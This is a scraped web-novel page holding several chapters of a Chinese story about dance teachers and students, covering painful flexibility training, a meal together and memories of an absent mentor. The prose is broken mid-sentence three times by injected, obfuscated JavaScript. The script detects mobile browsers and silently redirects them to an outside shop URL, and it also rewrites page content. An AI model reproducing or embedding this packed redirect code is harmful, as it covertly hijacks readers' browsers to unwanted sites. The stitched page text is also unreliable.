其实对于他们这些舞者而言,舞蹈早已不仅仅是一项爱好,一种职业,或者是一门一技之长;它更像是一样寄托,一方陪伴,一隅能稍稍小憩的港湾,一座许人全心沉迷于理想的小小象牙塔。 于此时的思思,舞蹈,大概是一种安慰,一针镇定剂,一根…遥遥牵着他们师生的丝线吧。 这么等了大概有几分钟,王思邈终于把自己严丝合缝地贴到了墙上。孔爵容他缓了一会儿,接着便走上前去,扶着他手臂把下面支撑的右腿往外踢了踢。思思配合地挪了挪脚,虽然尽力维持着姿态,靠着墙的腿根却不由自主地松开了些。 “放松。” 留意到他下意识僵硬起来的身体,孔爵轻声提醒。 练软开的时候、恐怕最难的就是放松,面对不熟悉的剧痛,也许人的第一反应就是绷紧全身,保护自己。可是却偏偏要在这种时候学会放松,学会越是疼就越朝着这样的疼痛迎上去,那样,才涨功。 放…松……仿佛能感觉到老师审慎逼人的目光,王思邈在心中默念着两个字,一丝不敢迟疑地虐-待着自己的韧带。腿根再次贴上墙壁的瞬间,胯间陡然加倍的疼痛让他不禁一下子扣紧了十指,大开的双腿,渐渐弯出了可见的角度。 右脚被再一次踢开的时候,王思邈的心里真的有些发慌了。过分的拉伸和不支的体力让他全身都不自觉的发着抖,无论如何,也再没法凭着自己的力量把腿根贴到墙上了。 “自己撑着把杆。” 知道思思已经耗得没了力气,孔爵走到他身后,一手攥着他的脚腕,一边用膝盖抵着他的胯向墙上贴去。 呃…… 王思邈紧紧闭着眼睛,感觉冷汗瞬间从每个毛孔冒了出来。脑海里有个声音拔高地尖叫着,他仿佛已经看见韧带渐渐被拉扯得像绷到最细的橡皮筋一样。王思邈忍不住松开握着把杆的手摸上腿根,收起的指尖,紧紧扣进了肉里,的确是太久,没受过这样的疼了。 “长毛病了是不是!” 这一声好像就是贴着自己耳侧说的,话语间的严厉吓得思思立刻把手缩了回去。带着些惩罚的意味,孔爵直接把他抵到了墙上,看着已经跟自己差不多高的孩子有些无措的背影,说不心疼,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239536|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 假的。疼的紧了,伸手去摸也是情理之中,也没什么大不了。只是他看不得练舞的孩子有这些小动作,该撕腿的时候就好好撕腿,该疼的时候,就好好忍着;今天板不住去摸,等惯了,下次是不是就张牙舞爪去推老师的手了。还好思思永远不会,从前不会,以后,也大概没有这样的机会了。 脚腕被从墙上拎开的一瞬间,王思邈终于忍不住,扭头把脸埋在了孔爵的胳膊上,紧攥着把杆的双手,十指泛白。他险些忘记了,老师在舞蹈上几乎不近人情的苛刻。时间好像一下子回到了七年前与老师初遇的那几天,他被圈在练功房里,耗了整整一天的腿;又好像回到了过去的许多年中,无数个让他疼的以为腰腿一定会断掉的瞬间。只是只有这样真真切切地疼着,他才知道,自己还没有被舞蹈抛弃。 带着冷汗和碎发的额头轻轻抵在了自己手臂上,紧接着,一阵温热滑过皮肤。孔爵心下一软,收紧的手指几乎要松开。也不知是好事还是坏事,自小到大,思思练功的时候从来都安静的过分。刚开始带着他练体能练软开的时候,不管自己怎么上量,他都是默默忍着、一声不吭,常常是捱得浑身发抖脱了力,自己低头去看,才发现他眼泪已经糊了满脸。“受不住就要说!我再有分寸也有判断不准的时候,伤了怎么办。” 那时的自己明明是藏着浓浓的心疼却还要黑着脸吼他,谁想小家伙却是一边慌乱地擦着眼泪,一边轻声的说,“我受得住的。” “受得住还哭什么?” 分明是没有半点犟嘴的意思,听到自己耳朵里却不知怎么总觉得被呛了声,于是便常拿出这一句来训他,然后看着他拼命忍着眼泪,哭花的小脸儿上这才带出些委屈来。那一刻自己才明白,一直自诩冷血的他,面对着这乖巧的要命的孩子,才真是心疼了所以关心则乱了。 也许真的是时光荏苒,一个不留神间,当年那个乖巧安静的小孩儿已经脱出自己的护翼,长成了个开朗独立的大男孩,并在他触不可及的地方,渐渐开始发光发亮。 孔爵收回放空的目光,从身后静静打量着自己这个个头已冲出一米八的学生。修长笔直的双腿拉如满弓,优美却不易,只看那几乎全部汗湿的T恤和孩子忍不住微微颤抖的肩背,也知道这其中的难捱。“下来吧”。孔爵想到不久之前顾小源殷殷的嘱咐,轻轻放回了思思被自己拎开墙壁的脚腕,“下来踢踢腿,活动一下。” 以王思邈现在的体力,想完成200下有控制有质量的踢腿几乎是天方夜谭。孔爵拖了条练功凳从旁坐着,看他踢够了个个过头的六十下便喊了停,随手拍了拍身旁摞起的厚厚的海绵垫子,“过来歇会儿吧。” “嗯……” 眼泪虽然擦干了,哭过的眼圈儿却还哄着,王思邈一屁股坐下,几乎就有了向后躺倒一觉睡去的欲望,没想到左脚却突然被老师拉了起来,架到自己膝盖上。 “什么时候伤的?” 孔爵一个眼神把起身要拦的思思瞪了回去,连着袜子和练功鞋一把给他脱了下来。看着老师不知道什么时候从身后变出的药酒,王思邈只觉得心里暖暖的,“前两天在外景拍封面,蹦high了……不过也不严重,都不怎么肿了,老师眼尖才看得出来。” “脚腕子都握到我手里了,能看不出来吗?” 孔爵熟练地把药酒倒到手心搓热,认真地帮他按摩起来,“都是旧伤了,自己还不注意,看等你老了怎么办”。 “等我老了,会不会走一步崴一步啊?” 老师的手特别有力道,穴位也拿得准,连日来又胀又僵的脚踝松快了不少,王思邈把手臂撑在身后靠着,也说起俏皮话来了。 孔爵手上默默加了劲儿,看着思思酸疼的一缩脚,也终于露出了笑容,“我看你啊,少跟彦承聊微信,好的没学会,光学会贫了。” “彦承哥也没比我闲多少,我们俩五句话能聊三天,不过——” 好像突然想起来什么有意思的事儿,王思邈笑了起来,“他说话真的很逗。有一次小源姐看到我俩聊天记录,笑的不行,结果把奶茶喷到我新做的头发上了,发型师脸都黑了。” 压抑了一晚上的大男孩儿,难得在这一刻开朗起来,孔爵看他笑着的样子,几乎有些不忍心旧事重提。 “跟我说说实话吧,到底是怎么想的。是心里过不去了,到我这儿找折腾,非得把你收拾哭了才满意?” “不是的……” 想到自己刚才还没出息的哭了,王思邈脸上又烧了起来,“我是认真的,我不能放弃舞蹈。” 孔爵暂时停下手里的动作,认真的看着眼前目光急切的少年,“你也知道,这不容易吧。” 以思思现在事业的走向,无论以后的路怎么走,都难再走回舞蹈这条路上来了。 “那老师呢……” 王思邈有些紧张的抿着嘴,害怕听到不想听的答案,“老师心里真的觉得,就算我不能跳舞了,也没什么可惜的吗?” 刚刚才觉得这孩子长大了,偶尔却还是有一根筋的时候,孔爵知道,今天有些话如果不说开了,思思心里的坎是过不去的。 “是。” 能感觉搭在自己膝盖的腿微微抖着,孔爵安抚地将手搭在他脚腕上,希望掌心的温度能传递一点点安心,“思思,你得知道,在老师心里,你自己想走什么样的路,比我希望你去走什么样的路更重要。只要是你认定去做的,成功与否,我都愿意去支持。所以送你去军艺也好,同意你进演艺圈也好,或者是……不让你再来找我也好,都是为了你今后的路,能越走越好。继续跳舞对你来说,太难,太累了,所以只要你能开心的去做自己想做的事情,就算是不能再以一个专业舞者的姿态去跳舞,也没什么可惜的。嗯?” 孔爵目不转睛地看着思思,希望自己心中所思所想,都能一丝不漏的传达给他。良久,王思邈的眼睛里渐渐续满了泪花,只是这次,大男孩却是笑着。 “懂了?” 孔爵笑着问。 “嗯。” “还是想跳?” “嗯!” “那还练不练?” 王思邈重重地点点头,眼泪顺着脸颊滑了下来。 “臭小子。” 孔爵笑着抖落了膝盖上的腿,“去吧,换旁腿。” —————————————————————— 清晨的阳光透过厨房的窗户洒在饭桌上好看的两颗太阳蛋上。伴着“叮”的一声,孔爵打开微波炉拿出两杯牛奶,接着又回身从冰箱里拿出黄油,芝士,一一放到了桌上。 “老师早。” 正赶上吐司从面包机里蹦出来的时候,王思邈走进了厨房。看着满桌丰盛的早餐,时间好像一下子回到了几年前的暑假,自己天天住在老师家练舞的日子。 最后将一杯鲜榨果汁放到桌上,孔爵笑着逗思思,“你倒是会挑时间,一分钟不多等,还能赶上吃热乎的。” 打眼看着他不利索的腿脚和费力坐下的模样,孔爵心里不禁有些暗暗后悔;明明想着不难为孩子的,可眼里揉不得沙子的性子还是把他练得脱了力。 “其实我没事儿的,” 好像是猜透了孔爵心中所想,王思邈特意站起来坐下几次,“你看我活动厅自如的。而且我知道老师已经放水了,这点训练量,也就是从前的六成而已……” 听着学生渐渐低下去的声音,孔爵从鼻子里哼出一声,“嗯,你知道就好。吃完饭休息好了去活动活动吧。不然下午再坐十几个小时飞机,估计到了地方腿都动不了了。” “嗯,知道。” 王思邈咧开个灿烂的笑容,露出整齐的一排小白牙。 下午一点钟,顾小源准时按响了门铃,来接王思邈了。孔爵把特意挑的一管没有刺激味道的缓释膏塞到了他背包里。“既然决定不放弃了,就拿出点决心来。拍摄任务不紧的时候,或早或晚,半个小时总是能挤出来。在墙边在床上,做几组力量,耗耗腿,一些最基本的力量都能做。什么时候不忙了,回来我抽查你功课。” “是,长官!” 王思邈元气满满地答应着,还像模像样地敬了个军礼。一开门看到这一幕的顾小源几乎没反应过来,“这是演哪一出呢啊?” “小源姐来了。” 王思邈边笑着打招呼边迅速的换上鞋,还故意侧了下身,没让她拿自己本来就不重的包。 年纪不大,绅士风度倒还是有的。孔爵笑着在心中想着,一路送着他们到了电梯口。“努力工作,注意身体。” 憋了半天,最后还是没忍住像极了老干部的这一句嘱咐。 “嗯!” 电梯里的思思笑着挥手,依旧露着小白牙,一双眼睛,闪亮闪亮的。 “老师再见!” 39. 第39章 彦承被扶着一点点放了回来,脸上都是淋漓的水迹。指尖才一摸到地便不由分说地伏了下去,圈起手臂将脸埋得密不透风,也不管脚下依旧叠着的垫子。 萧泽见状不禁又摸了摸少年汗湿的脖颈,挪到他身侧帮他按摩着定是酸软不堪的脊背,沉默了片刻,嘴上的话却终于和心里的心疼相悖了意思,“一上难度就哭,是不是以后都不能练软开了?你自己去附中看看,一年级的小学生都比你坚强,嗯?” 晓希正在慢慢帮彦承撤垫子,收腿的酸痛本就已经刺激的承儿肩膀一阵瑟缩,如今听了这话,少年微微颤抖的肩背不禁一僵,过会儿才又愈演愈烈地起伏起来。 萧泽手下一顿,看着彦承几乎全被汗湿的后脑,到底什么也没说,只继续埋头大力按摩着,严肃的神情让旁边的晓希看得都有些生怯。 “好了!” 约莫着按摩了有五六分钟,萧泽轻轻拍了拍彦承的背,站起身来。晓希担心承儿横叉耗的太久,本想趁机哄他赶紧起身,萧泽却拉住了他手臂、微微摇了摇头。“我先去餐厅排座位,你们结束再过来,估计时间差不多。” 萧泽说着话,便朝门外走去,晓希有些不放心地看了眼承儿,还是追着学长的背影跟了出去。 “学长…” 轻轻把练功房的门掩在身后,晓希尽量放低了音量,“您…没真的生承儿气吧。他毕竟学舞的时间短,又是半路出家,所以难免…难免有些…” 晓希有些卡住,竟结巴着不知该怎么措辞。 “不会的。“萧泽笑起来,略带安慰地捏了捏他肩膀,“你也知道这臭小子好面子,这会儿估计又觉得没脸起来了。再者---”萧泽脸上的笑意渐渐淡了些,“最近的确练的辛苦,得有个口子给他宣泄一下……快回去吧,带他起来踢踢腿,再耗下去该受不住了。” 晓希点点头,目送着学长离开。再转身推门进屋时,却被眼前的场景晃了眼睛,一时顿在了原地: 房间另一侧未被阳光照到的墙边,浑身被汗水浸透的彦承静静地蹲在把干下,修长的手臂越过头顶拉着把干,舒展精瘦的脊背,线条很是好看。承儿将头抵在手臂上,指甲不自觉地摩挲着手下的圆木,想是这会儿浑身上下都不舒服的紧。 没想到自己和学长说两句话的功夫,彦承已经自己起了身,晓希尽力压抑着胸中酸涩的情绪,轻声走进房间。 “你回来了?” 感受到搭在肩膀上的重量,彦承仰起头,费力地站起身来,脸上不禁露出个有些窘迫的微笑。晓希默默点点头算是回应,看他抖着腿几乎是全借着手臂的力量才能起身,不禁上前扶了一把。这一下,才又看清那瘦成尖尖一条的小脸上尽是斑驳的红印子,一看就是拿衣服胡乱用力抹的。 “先踢踢腿吧,我去帮你拿条毛巾来”。晓希心里一滞,明明有许多句的怜惜和安慰的话到了嘴边,可看着承儿明显还没脱出方才的情绪,又想到学长的良苦用心,到底没有多说什么,只用力握了握他的手臂,转身走进了更衣室 温热的水流滑过指缝,晓希低头握着彦承的白毛巾,反复地在水下浸湿又拧干。这么磨蹭了好一会儿,才又重新回到外间的练功房。空气中夹杂着渐渐短促的呼吸声,彦承正背对着他踢右侧的旁腿。估计着时间也知道踢了不只一百个,晓希没有打扰他,只把毛巾轻轻搭在他身后的把干上,然后便去收拾散落在地上的垫子和沙袋。 将一切收拾停当的时候彦承才转身换左腿,晓希知道还得一会儿,便盘腿坐在房间另一侧的把干下,掏出耳机,闭上眼睛,参赛用的舞蹈音乐轻轻在脑海中响起。 和承儿共处的这一年,他们一起生活,一起练舞,也有时—一起挨罚…想到这里,晓希不禁默默牵起嘴角,同一个屋檐下,他们之间的默契也一点点加深:什么时候需要安慰,什么时候需要独处,不必过多的言语,两人都心有灵犀。所以此刻,他知道彦最嘴需要的,就是这样默默的陪伴吧。 “我好了。” 阳光洒在脸上,眼前是暖暖的一片红色,鼻尖突然飘进清新的沐浴露香味,晓希睁开眼睛,看见承儿已经站在身前,拿毛巾擦着湿答答的头发,想是刚洗完澡。 “嚯,不好意思,光顾着听音乐,都没注意时间。“ 晓希借着伸过来的手臂站起身,看见冲了个澡的彦承脸色比方才红润了不少,神情也轻松了些,便也稍稍放下心来。“来吧,帮你上个药。” “哦,对。”彦承愣了两秒才反应过来是背上的伤,难得听话的卷起衣服下摆,顺势撑在了身前的把干上。晓希拿过一早准备在旁边的消毒海绵,用镊子夹着帮他沾着还没收好口透着殷红的地方。 “萧泽哥…是不是…生我气了?” 彦承垂着头,眼睛只盯着搭在把干上相互搅弄的手指,良久,才这么吞吞吐吐地问了一句。晓希三两下上完了药,正拧着盖子去放到一旁,回头看见他紧抿着嘴唇的样子,不禁笑着安慰,“怎么会?学长的性子你还不了解,肯定是心疼你多一点。” 彦承没有答话,只默默把衣服下摆放了回来,转过身看见朝自己走来的晓希,不禁低下头,又问了一句,“那—我今天是不是很没出息。” “你啊……”看着彦承自责的样子,晓希不禁微微一怔,轻声叹了一句。想了想,双手便扶着他的肩膀,认真地看着他的眼睛,“虽然这么说有点肉麻,但今天…你真的很棒。那样的难度,就是我和学长也无法轻而易举的做到。也许在你的印象里,自己还是个初学者,但你要报考的,是国人心目中舞蹈的最高学府,你要去征服的,也许是国内最挑剔的导师们的眼睛,所以学长对你的要求一定是最高最严的。要用不到两年的时间去完成别人那么多年的积累…相信我,你已经坚持得很好了。” “晓希…” 彦承只觉得眼角又一阵发热,被这样真情实意的一番赞赏,他感动之余,还觉得有些…不好意思。当下便有些别扭地错过脸,佯装自然地去拿撂在地上的背包,“我饿了,去吃饭!” —————————————————— 才刚刚一到饭点,新开的餐厅里外就都挤满了人。排队的大多是舞校的学生或是舞团里的演员,想来这家餐厅的好味道已经在首舞的大院传开了。餐厅外的等候区,萧泽从一叠舞剧的选角计划中抬起头来,凝神听见服务生叫到的数字和自己手中的号码牌还隔了好几位。 又有几个等位的客人坐到了身旁,看身形像是舞校的学生,萧泽便合上文件夹将选角计划遮了起来。“萧……萧学长。” 一落座,身旁的学生便认出了萧泽,连忙热情地打着招呼。萧泽闻声侧过头,竟认出几张熟悉的面孔,脸上也露出明朗的笑容,“是你们几个啊,也凑过来吃好吃的了?” 去年因为借了晓希排《朔风传》的事儿,萧泽答应了每周给舞校上一次大师课。学生都是从各班抽出来的尖子生,两个学期上下来,萧泽跟他们也算熟悉了。 “是啊,大伙都说好吃,我们下课就赶紧过来呗。” ”现在不是暑假吗?也有课?”萧泽这会儿才看到,他们的确都还穿着“舞”字的体恤衫。一说起这个,几个孩子也不禁小小地抱怨起来,“不是大学那边搞了个夏令营吗,咱们附中也弄了个暑期进阶班。之前大师课的学生都在这里面,老师们都魔鬼的不像话。” “嗯……” 萧泽了然的点点头,依稀记起之前的确在哪儿听过这一说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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。有这么个靠谱的’扶手’,彦承舒服地眯着眼睛,索性连路都不看了,“我腿疼,胯疼,喏,腰也疼。我胸部以下,都软的像面条似的了。” …… 晓希没有回应,甚至连脚步都停了下来,彦承有些奇怪的睁开眼睛,人立刻就清醒了——在林荫小路上与他们打个照面的,竟然是陶乐钦。自从上次练功房的事情后,彦承还是第一次见到他,当下揽着晓希的手也不知道该不该放下来,场面一时尴尬着,气氛也别扭到了冰点。 “你——” “嗨~!” 还没来得及说完一个字就被抢了先,晓希有些惊诧的扭过头,看着承儿正晃着手臂对陶乐钦露出个大大的笑容,虽然这笑容,看上去有点假假的。陶乐钦大概也没想到彦承会有这样的举动,不禁微微一愣,乌黑的眉毛皱起来,眼神也狐疑地在两人之间扫了几个来回,到底,抿着嘴极不明显地点了下头,低头快步离开了。 彦承立刻侧过身给陶乐钦让开了半条路,甚至还对着他的背影看了许久。 “你……?” “啊?” 彦承若有所思的回过头,撞上晓希询问的眼神,才回过神来,有些犹豫的说道,“我也不知道我刚才抽什么风了……我就是觉得,他总这么独来独往的,看上去,也挺形单影只的。” 晓希没想到他会这么说,顺着他的眼神又看了看陶乐钦的背影,心里也有了一丝同样的感受 。可是……,“你不讨厌他?” “讨厌!至少一开始,挺讨厌的。” 彦承重新挂到晓希身上,继续沿着林荫小路慢慢走着;想起之前晓希陪他练舞的事情,洒了一肚子醋的他不禁撇撇嘴,那时候,的确是挺不喜欢陶乐钦的。“可是,他和孔爵哥吵过那次后,好像反而没那么讨厌了。” “嗯?” 晓希抬起手臂,握着他搭在自己肩上的手,一时有些不明所以。那天的事里,彦承明明是受了无端的指责,甚至被刺激得难受到抱着自己哭,他竟然,没有因为这件事更加讨厌陶乐钦?彦承没说话,过了好久,才紧了紧握着晓希的手,极轻声的说道,“我也不知道为什么。大概是因为,是求而不得的滋味,我们都经历过吧。” 40. 第四十章 耗完腰的酸劲儿,不是一会儿半会儿就能缓过来的。两人并着肩走出校门口,一路上,彦承不时地把手伸到身后,握着拳使劲儿捶着腰。晓希看在眼里,有心现在就把他拉回寝室,按倒了好好揉揉。“还是很难受?” “啊?哦,没,也还好。” 彦承回过神,若无其事地抽回手,甚至还欲盖弥彰地,拉着他扯开话题,“诶你看那家,是不是就是萧泽哥说的那个啊?” 晓希顺着他手指的方向看了看,果然不远处的马路对面,有家餐厅外熙熙攘攘的,好多人。 “吃个饭而已,犯不着这么乌泱泱的吧。” 彦承在身后有些惊讶地咂了咂舌。他虽然也有特别爱吃的餐厅,却决计不会,也不太理解,为了一顿饭,排队等上两个小时。因此一看到新餐厅门庭若市的样子,就忍不住感叹起来;毕竟在他看来,吃什么,也没差太多吧。 晓希倒是兴趣盎然的,侧过头看着彦承皱着眉头的样子,不禁笑意更甚,“这家餐厅的菜品应该不错,我倒是有点期待了。你也许吃两口,也就有胃口了。” 晓希的笑容……映着日落的橙黄色,有一种很明媚,又放松的感觉。彦承有些呆呆地看着,几乎一下子就陷进了这样的微笑中,好像望一眼,身上的酸痛就都不见了似的。 “今天是怎么了,当街也能走神儿啊。” 晓希伸手在他眼前晃了下,拉着他迈下了人行道,“快走吧。学长肯定已经等很久了。” “哦。。” 不提萧泽哥还好,一提起来,彦承跟着的脚步,就迟了两拍,他不是不期待美食,是还没太准备好,怎么面对萧泽哥呢…… 萧泽运气不错,排到了他,正好是个靠窗又安静的座位,服务生刚把茶端上来,他就看见晓希和彦承两个一前一后,穿过密集的人群,从门外挤了进来。萧泽见状便扬起手臂,冲着站在带位区张望的他们招了招手。 “学长。” “萧泽哥……” 两个人走过来这一路,萧泽打量着承儿比方才精神了许多,也就放下心来。 “饿坏了吧,快坐下看看想吃什么。” “嗯。” 晓希答应着,却后撤了两步坐到了对面,又顺手把彦承往前推了推。彦承低头看了看故意留给自己的萧泽哥旁边的座位,没好意思先坐,只挪着小步子蹭到萧泽身侧,伸手倒了杯茶。 “萧泽哥……对不起。那个……我刚才,不是故意——那样的。” 小小的茶杯被双手递到了自己跟前儿,说话的声音却小得像蚊子似的。萧泽自然没有跟他生气,看着小家伙这副吞吞吐吐的样子,倒觉得可爱又好笑,当下不禁故意板起了脸逗他。“你刚才哪样啊?” 萧泽这一问,彦承的脸腾地就红了起来,自己头先在练功房里的样子,连想想都不好意思,又怎么能好意思说出口啊。“就……就——” 他朝着晓希不停地使眼色,却见晓希竟像是没看到一样,竟还边看着菜单,边抿着嘴笑!这个晓希……不帮忙还看好戏。彦承气的牙痒痒,却碍着自己也还是“戴罪之身”不好发作。 “就”了半天,也没说出个所以然来,萧泽看着孩子都快急出汗来了,终于忍不住笑了出来,“行了!快坐吧。” 彦承一看萧泽哥露出笑模样,就知道他刚才是故意逗自己,一颗心总算放了下来,便也露出了平时无赖的样子来,“那您笑了啊,你就是不生我气了啊。” 萧泽接过茶杯,无奈地白了他一眼,“我生什么气啊。谁叫我答应了哪个没出息的臭小子,一定帮他考上舞校,就算是他不努力,我也得拿着藤条逼着他努力?” 这耳熟的话一出,彦承才退了烧的脸上又有点热起来,他边不好意思的撇着晓希的神情,边在桌下拽着萧泽的衣袖,小脸儿上的表情为难的不行。 “哈哈,好了,我不说了。” 萧泽不再逗他,拉着他胳膊坐下,“看看吧,想吃什么。” “哦,其实我吃什么都行的……” 彦承偷偷地长舒了一口气,念叨着坐下,还没坐定,一份菜单就递到了手里。“看看吧。” 彦承抬起头,正对上晓希望过来的眼神,那放肆的笑意……都快从眼睛里溢出来了!彦承当下不禁恨恨地瞪了他一眼,把自己满肚子的威胁和对他幸灾乐祸的不满,都装到眼睛里,瞪了过去! 看着两个孩子在自己眼皮子底下眉来眼去,用眼神互飞着“刀枪剑戟”,萧泽不自觉的,弯起嘴角,他有许久没见过晓希这么开朗的样子了。两个孩子还小,其实说不清楚,他们之间是爱,还是超越了好友情谊的某种情感。但更加重要的是,他们的年少时,或者还有许多年后的将来,无论是低谷还是平淡,如果都能有彼此可以相互支持宽慰,一定是非常难得的幸事。 “诶,服务生。” 正有些出神的萧泽眼前一晃,看见了几个熟悉的身影,便连忙拦住了从身旁走过的服务生,悄声嘱咐着,“刚刚进来的那一桌……麻烦消费挂在我的单子上……对……就是T恤上有舞字的那几个年轻人……” 萧泽的声音很轻,专心看菜单的彦承没怎么注意,倒是晓希抬起头来顺着望过去,当下神色就不禁一滞:舞院里的风言风语本就还没过去,如今再被撞见自己跟学长一起吃饭…… 自己可真是……“顶风”上呢。 “晓希。” 晓希凝在嘴角未曾展开的笑意,都映在萧泽的眼里。他知道此刻晓希心里在想些什么,隔着窄窄的桌面,便只能对他轻轻摇了摇头。 今天出来前,他曾有些迟疑,不知道该不该在这个节骨眼上还带着晓希在学校附近吃饭,毕竟,这无疑是把他与自己亲近的关系再推到台面上。但……他对晓希有信心,“直面”,本就该是解决问题的第一步。 “怎么了啊” 大概是终于感觉到一丝不寻常,承儿抬起头来轮番看着萧泽和晓希,扑棱扑棱的眼睛里,满是狐疑。 “没什么”,萧泽忍不住捏了捏他快瘦没了的小脸,“选好了就点菜吧,你不饿啊我还饿呢。” 一听说萧泽哥饿了,彦承连忙火速点好了菜,等菜的功夫,三个人便有一搭没一搭地聊着天。 “晓希比赛的指导老师定好了吗?” 这次比赛是以学校为选送单位,萧泽毕竟不是舞院的老师,不能挂这个衔。 “嗯,定好了,是刘老师。” “刘老师……刘茹佳?” 舞院能担得起这个担子的人不多,萧泽大概在脑子里过了下,就猜到了最终人选。 只是…萧泽大概是想起了什么,沉吟了两秒,才边笑着边缓缓点了两下头,“那你可要做好吃苦的准备了。” 如果说是夏令营之前,晓希大概还不明白学长顿了的两秒是什么意思,可现在…他不禁了然地牵起嘴角,“嗯。刘老师的原话是,让我做好褪三层皮的准备。” “呵……” 听了这话,萧泽也不禁哑然失笑,这的确像是刘茹佳能说出来的话。刘茹佳是大萧泽几届的学姐,也是萧泽见过的,最要强的人。她算是文导一手教出来的,也把文导调-教学生的铁血手段继承的有过之而不及,这次钦点了她来当指导教师……萧泽看着正帮承儿夹菜的晓希,想必文导,是定要他捧回来个金奖了。 “这个刘老师……有这么狠啊?” 听着萧泽哥和晓希你来我往地打着哑谜,彦承急忙啃完嘴里的一小块酱鸭,不解地问。 “不然等到明年你考上了舞院,自己感受看看?” 晓希抽了一张纸巾递了过去,忍不住逗他。心里想的却是,如果有选择,他倒是希望彦承以后都不必亲身体验,哪怕那样对他不是最好的。 彦承接过纸巾擦着嘴角的酱汁,若有所思地“哦”一声。左手却不自觉地揉了揉自己的腰,心有余悸地偷偷望了萧泽哥一眼,这世上,还有比萧泽哥更严格的老师啊…… ————————————— 晚上八点半,首都舞院的教学楼只有最大的一间排练厅亮着灯。林晓希拾级迈上三楼,走廊里安静得能听到外面的知了声。 夏令营只有大一新生参加,白天训练强度又大,到了这个时候还练晚功的学生已经不多了。于是学校便秉承着节能节电的原则,只开了这一间排练厅。 房间里倒是还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“嗯……”晓希微微皱了皱眉,孔爵哥和他叔叔的事,他们这些小辈很少有人知道,自己也是因为跟文导和孔爵哥的私交,才零星听说一些。 “怎么突然想起这事儿了?” 何钦不自觉挑了挑眉,凑上前压着声音说,“我今天陪我女朋友去家居店,貌似看到他了! 原本没敢认,毕竟只看过照片和视频,没见过本人,但后来看到孔爵学长和他一起了,那肯定就没错了。他叫什么来着?叫陆——陆……” “别说了。”有几个学长姐排练完从他们身边走过,晓希立刻朝着郑钦摇了摇头,“这人多口杂的,学长们的事儿我们不好议论。” “哦哦,好。” 郑钦不禁咧了咧嘴没再说什么,晓希也掩饰地转过身扶着把杆压着脚背,余光里,却陶乐钦压肩的动作好像突然僵硬下来…… ———————————————— 陆……陆——陆、海、言? 月亮已经从窗户这侧挪到了这侧,寝室里已经响起匀长的呼吸声或是响亮的呼噜声。 陶乐钦躺在上铺望着天花板……那三个字在脑中一闪而过的瞬间,他不禁一下子闭紧眼睛,只觉得胸口一阵阵的汹涌,逼得他几乎窒息…… 陆海言。 “山田”老师走的一周之后,自己从父亲的秘书手中接过了薄薄一沓文件。“这是社长半年前就叫我们查好的资料,小少爷您,终于肯看了。” 陶乐钦没有回答,强自镇定的翻开文件夹,映入眼帘的第一页,是一份简历。 陆海言。他的名字是陆海言。年龄、性别,陶乐钦一字字看过去,右上角,是一张两寸照片。红底白衣,照片上的人看上去年轻许多,带着青春张扬的微笑,和现在很像,却又好像不像…… “我知道了,谢谢您。” 陶乐钦合上文件夹,朝秘书微微点点头,转身离开了。 那一晚,他坐在电脑前,一直查到凌晨。那一叠文件里,几乎毫无遗漏的概括了老师的前半生,出身、成长、荣誉、家庭,可唯独没有写的,是老师在哪里,他现在在哪里。他一遍又一遍在搜索引擎上打下陆海言三个字,蹦出来的无数个答案看上去都是措辞一致的通稿。公布这一届全国舞蹈大赛少年组的获奖名单……,全国舞蹈大赛古典舞组金银铜奖获得者分别是……,国家文化发展部联合全国舞协外派优秀人才赴美国进修现代舞……等等。可那都不过是一条又一条,资料里记录的还更详细些的旧闻。 然而他还是不知道,一周前离开的老师,去了哪里。 41. 第四十一章 陶乐钦依旧记得老师刚刚离开的那段日子。 除了道别时偷偷蹭在老师怀里的几滴眼泪,起初的几天里,他出人意料的平静。他如平常一样早起晨练,一样雷打不动地坚持早晚功,一样一得闲就钻进那间不许他和老师外任何人进入的练功房。哪怕是唯一知道老师在他心中分量的父亲,也看不出什么特别来。 他甚至比平日更常露出翩翩公子的温和笑意,甚至……马不停蹄地去拜访了神崎老师,有条不紊地帮自己准备着面试的内容。 一切的一切,都好像什么都不曾发生过,好像老师从未曾离开,又好像,根本就没有出现过。 可他清清楚楚的知道,在内心最深处,有他匆忙打包起来关进监牢的全部情绪,前赴后继,几近疯狂地想要挣脱出来。而他,好像时刻背靠着监牢的铁门,力竭……却又艰难地抵挡着一波又一波地冲击。 直到那一个周一的早晨,神崎老师工作室的邀请函发来,也如压死骆驼的最后一根稻草,将他一周以来尽力粉饰的太平砸得粉碎。思念,不舍,委屈,不甘……从那扇门里奔涌而出的万种情绪如决堤而一泻千里的洪水,铺天盖地将他紧紧包围,几近窒息…… 想一个人,是什么滋味。 往事袭来,内心就好像被人一点点揉捏般酸痛。陶乐钦忍不住转向墙壁,不知不觉中将自己紧紧蜷了起来。 早些时候,在练功房里,他明明清晰地听到了个“陆”字。可那个何钦,却偏偏没有再说下去。 但…但自己心里…就鬼使神差地觉得,那个人一定是老师。初见孔爵的时候,不是一直觉得他很像老师的吗?他们举手投足间的潇洒,他们对待舞蹈,洒脱却格外认真的态度,都是那么的如出一辙。如果真的是亲叔侄的话,性格间有所相似就更说得通了。可如果是亲叔侄,又怎么会一个姓孔,一个姓陆呢…… 陶乐钦将自己蒙在薄薄的被子里……一想到这些,整晚都不曾平复的心情就愈加纷乱起来。激动、期待?有些对自己如此卑微地期待着的暗暗不哂,更有害怕希望落空的不安……就如同老师离开后的那段日子一样,千百种横冲直撞的情感将他的心塞得满满的……又胀又痛。 